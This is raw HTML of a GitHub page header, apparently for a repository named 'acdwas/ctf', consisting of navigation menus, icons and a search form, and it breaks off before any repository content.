<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="124655323" data-scoped-search-url="/acdwas/ctf/search" data-owner-scoped-search-url="/users/acdwas/search" data-unscoped-search-url="/search" data-turbo="false" action="/acdwas/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="iN5zFdtceEfSM0eMNZcJIsor24915/TpaBzENmItBs04LAxAMCqB3Dfmkp8mBSbkAZPbBV5X0Qc9Sp8ddSQuhQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 